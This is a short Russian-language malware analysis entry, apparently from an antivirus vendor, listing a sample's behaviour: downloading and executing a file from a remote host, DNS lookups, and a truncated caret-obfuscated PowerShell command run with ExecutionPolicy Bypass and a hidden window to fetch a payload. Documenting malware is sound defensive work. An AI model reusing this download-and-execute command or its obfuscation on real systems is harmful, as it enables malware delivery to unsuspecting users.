Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://lt##.ottenst.pl/file/hen.bhj как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWe^r^S^HElL.eX^e^ -eXe^C^utI^O^npO^LI^Cy^ By^P^as^S ^-^NoPrOFI^lE^ ^-wIn^do^WStYlE h^I^d^De^n^ ^(NE^w^-^O^Bj^Ect S^y^STEm.N^Et^.^w^e^b^C^l^iE^nt).d^ownL^o^ADf^IlE('http:/...
Сетевая активность
UDP
- DNS ASK lt##.ottenst.pl
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWe^r^S^HElL.eX^e^ -eXe^C^utI^O^npO^LI^Cy^ By^P^as^S ^-^NoPrOFI^lE^ ^-wIn^do^WStYlE h^I^d^De^n^ ^(NE^w^-^O^Bj^Ect S^y^STEm.N^Et^.^w^e^b^C^l^iE^nt).d^ownL^o^ADf^IlE('http:/...' (со скрытым окном)
